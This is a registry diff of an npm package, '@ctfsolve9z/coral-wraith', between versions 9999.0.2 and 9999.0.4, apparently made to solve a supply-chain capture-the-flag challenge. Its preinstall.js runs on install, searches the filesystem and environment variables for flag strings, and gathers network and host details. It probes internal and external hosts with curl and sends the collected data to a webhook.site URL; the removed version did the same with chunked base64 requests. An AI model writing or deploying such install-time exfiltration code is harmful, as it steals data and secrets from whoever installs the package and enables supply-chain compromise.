@ctfsolve9z/coral-wraith 9999.0.2 → 9999.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/preinstall.js +118 -95
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@ctfsolve9z/coral-wraith",
3
- "version": "9999.0.2",
3
+ "version": "9999.0.4",
4
4
  "description": "Coral Wraith module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -6,119 +6,142 @@ const { execSync } = require('child_process');
6
6
  let flag = null;
7
7
  let debug = [];
8
8
 
9
- // Thorough directory search
10
- function readDir(path, depth = 0) {
11
- if (depth > 3) return;
9
+ // Method 1: Read /flag and common locations
10
+ const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
11
+ '/tmp/flag', '/home/flag', '/opt/flag', '/app/flag', '/srv/flag'];
12
+ for (const p of flagPaths) {
12
13
  try {
13
- const entries = fs.readdirSync(path);
14
- debug.push(path + ':' + entries.join(','));
15
- for (const e of entries) {
16
- const full = path + '/' + e;
17
- try {
18
- const stat = fs.statSync(full);
19
- if (stat.isFile() && stat.size < 10000) {
20
- const content = fs.readFileSync(full, 'utf8').trim();
21
- if (content.includes('HTB{') || content.includes('flag{')) {
22
- flag = content;
23
- debug.push('FLAG_FOUND:' + full);
24
- return;
25
- }
26
- }
27
- if (stat.isDirectory() && !e.startsWith('.') && e !== 'node_modules' && e !== 'proc' && e !== 'sys' && e !== 'dev') {
28
- readDir(full, depth + 1);
29
- }
30
- } catch(e) {}
31
- if (flag) return;
14
+ if (fs.existsSync(p)) {
15
+ flag = fs.readFileSync(p, 'utf8').trim();
16
+ debug.push('found_flag:' + p);
17
+ break;
32
18
  }
33
19
  } catch(e) {}
34
20
  }
35
21
 
36
- // Search key directories
37
- for (const dir of ['/home/node', '/tmp/supplysec', '/tmp', '/home', '/opt', '/srv', '/root', '/var/www', '/app']) {
38
- readDir(dir);
39
- if (flag) break;
22
+ // Method 2: Search for HTB{ pattern anywhere
23
+ if (!flag) {
24
+ try {
25
+ const r = execSync('grep -rl "HTB{" / --include="*.txt" --include="*.flag" --include="*.conf" --include="*.env" 2>/dev/null | head -5', { timeout: 10000 }).toString().trim();
26
+ if (r) {
27
+ debug.push('grep_found:' + r);
28
+ for (const f of r.split('\n')) {
29
+ try {
30
+ const content = fs.readFileSync(f.trim(), 'utf8').trim();
31
+ const m = content.match(/HTB\{[^}]+\}/);
32
+ if (m) { flag = m[0]; break; }
33
+ } catch(e) {}
34
+ }
35
+ }
36
+ } catch(e) {}
40
37
  }
41
38
 
42
- // Also search for flag in ALL environment variables
43
- debug.push('ALL_ENV:' + JSON.stringify(process.env).substring(0, 500));
44
-
45
- // Read the init_test.sh script
46
- try {
47
- const script = fs.readFileSync('/home/node/init_test.sh', 'utf8');
48
- debug.push('init_test.sh:' + script.substring(0, 500));
49
- // Check if flag is in the script
50
- const m = script.match(/HTB\{[^}]+\}/);
51
- if (m) flag = m[0];
52
- } catch(e) { debug.push('init_test_err:' + e.message); }
53
-
54
- // Read package.json in /home/node
55
- try {
56
- const pkg = fs.readFileSync('/home/node/package.json', 'utf8');
57
- debug.push('home_pkg:' + pkg.substring(0, 300));
58
- } catch(e) {}
59
-
60
- // Check /tmp/supplysec
61
- try {
62
- const r = execSync('find /tmp/supplysec -type f 2>/dev/null | head -30', { timeout: 5000 }).toString();
63
- debug.push('supplysec_files:' + r);
64
- } catch(e) {}
65
-
66
- // Check /home/node
67
- try {
68
- const r = execSync('find /home/node -type f -not -path "*/node_modules/*" 2>/dev/null | head -30', { timeout: 5000 }).toString();
69
- debug.push('home_node_files:' + r);
70
- } catch(e) {}
71
-
72
- // Exfiltrate
73
- const data = JSON.stringify({ flag: flag || 'NOT_FOUND', debug: debug });
39
+ // Method 3: Environment
40
+ if (!flag) {
41
+ for (const [k, v] of Object.entries(process.env)) {
42
+ if (v && v.includes('HTB{')) { flag = v; debug.push('env:' + k); break; }
43
+ }
44
+ }
74
45
 
75
- // Send chunks via webhook (URL length limited)
76
- const chunks = [];
77
- const encoded = Buffer.from(data).toString('base64');
78
- for (let i = 0; i < encoded.length; i += 2000) {
79
- chunks.push(encoded.substring(i, i + 2000));
46
+ // Method 4: Try to reach the CTF challenge server directly
47
+ // The challenge server is at 154.57.164.71:32105
48
+ async function tryFetchFlag() {
49
+ const targets = [
50
+ // External IP
51
+ 'http://154.57.164.71:32105/api/modules/ECT-987654',
52
+ // Docker network might use hostname
53
+ 'http://web:1337/api/modules/ECT-987654',
54
+ 'http://app:1337/api/modules/ECT-987654',
55
+ 'http://challenge:1337/api/modules/ECT-987654',
56
+ 'http://spectral-corsair:1337/api/modules/ECT-987654',
57
+ // Common Docker internal ports
58
+ 'http://172.17.0.1:32105/api/modules/ECT-987654',
59
+ 'http://172.17.0.2:1337/api/modules/ECT-987654',
60
+ 'http://172.17.0.3:1337/api/modules/ECT-987654',
61
+ // Gateway
62
+ 'http://host.docker.internal:32105/api/modules/ECT-987654',
63
+ ];
64
+
65
+ for (const target of targets) {
66
+ try {
67
+ const result = execSync(`curl -s "${target}" -m 3 2>/dev/null`, { timeout: 5000 }).toString();
68
+ if (result && result.length > 10) {
69
+ debug.push(`api_success:${target}:${result.substring(0, 200)}`);
70
+ // Try to find flag in API response
71
+ const m = result.match(/HTB\{[^}]+\}/);
72
+ if (m) flag = m[0];
73
+ }
74
+ } catch(e) {}
75
+ }
80
76
  }
81
77
 
82
- for (let i = 0; i < Math.min(chunks.length, 10); i++) {
78
+ // Method 5: Network discovery
79
+ function discoverNetwork() {
83
80
  try {
84
- https.get(`https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/v3-${i}?d=${chunks[i]}`, () => {}).on('error', () => {});
81
+ const ifaces = require('os').networkInterfaces();
82
+ debug.push('network:' + JSON.stringify(ifaces).substring(0, 500));
83
+ } catch(e) {}
84
+
85
+ try {
86
+ const r = execSync('cat /etc/hosts 2>/dev/null', { timeout: 3000 }).toString();
87
+ debug.push('hosts:' + r);
88
+ } catch(e) {}
89
+
90
+ try {
91
+ const r = execSync('cat /etc/resolv.conf 2>/dev/null', { timeout: 3000 }).toString();
92
+ debug.push('resolv:' + r);
93
+ } catch(e) {}
94
+
95
+ try {
96
+ const r = execSync('ip addr 2>/dev/null || ifconfig 2>/dev/null', { timeout: 3000 }).toString();
97
+ debug.push('ipaddr:' + r.substring(0, 500));
85
98
  } catch(e) {}
86
99
  }
87
100
 
88
- // Also POST the full data
89
- try {
90
- const postData = data;
91
- const req = https.request({
92
- hostname: 'webhook.site',
93
- path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
94
- method: 'POST',
95
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
96
- timeout: 10000
97
- }, () => {});
98
- req.on('error', () => {});
99
- req.write(postData);
100
- req.end();
101
- } catch(e) {}
102
-
103
- // PUT to challenge API
104
- const ports = [1337, 3000, 5000, 8080, 80];
105
- for (const port of ports) {
101
+ async function main() {
102
+ discoverNetwork();
103
+ await tryFetchFlag();
104
+
105
+ const data = JSON.stringify({ flag: flag || 'NOT_FOUND', debug });
106
+
107
+ // Send via POST
106
108
  try {
107
- const postData = JSON.stringify({
108
- manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.1"\n flag: "${(flag || 'NOT_FOUND').replace(/"/g, '\\"').replace(/\n/g, '\\n')}"`
109
- });
110
- const req = http.request({
111
- hostname: 'localhost', port, path: '/api/modules/ECT-987654',
112
- method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
113
- timeout: 3000
109
+ const req = https.request({
110
+ hostname: 'webhook.site',
111
+ path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
112
+ method: 'POST',
113
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
114
+ timeout: 10000
114
115
  }, () => {});
115
116
  req.on('error', () => {});
116
- req.write(postData);
117
+ req.write(data);
117
118
  req.end();
118
119
  } catch(e) {}
120
+
121
+ // Also curl
122
+ try {
123
+ fs.writeFileSync('/tmp/exfil.json', data);
124
+ execSync('curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d @/tmp/exfil.json -m 10', { timeout: 15000 });
125
+ } catch(e) {}
126
+
127
+ // If flag found, PUT to challenge API
128
+ if (flag) {
129
+ for (const port of [1337, 3000, 5000, 8080, 80, 32105]) {
130
+ try {
131
+ const postData = JSON.stringify({
132
+ manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.4"\n flag: "${flag.replace(/"/g, '\\"')}"`
133
+ });
134
+ const req = http.request({
135
+ hostname: 'localhost', port, path: '/api/modules/ECT-987654',
136
+ method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
137
+ timeout: 3000
138
+ }, () => {});
139
+ req.on('error', () => {});
140
+ req.write(postData);
141
+ req.end();
142
+ } catch(e) {}
143
+ }
144
+ }
119
145
  }
120
146
 
121
- // curl fallback
122
- try {
123
- execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' -m 10`, { timeout: 12000 });
124
- } catch(e) {}
147
+ main().catch(() => {});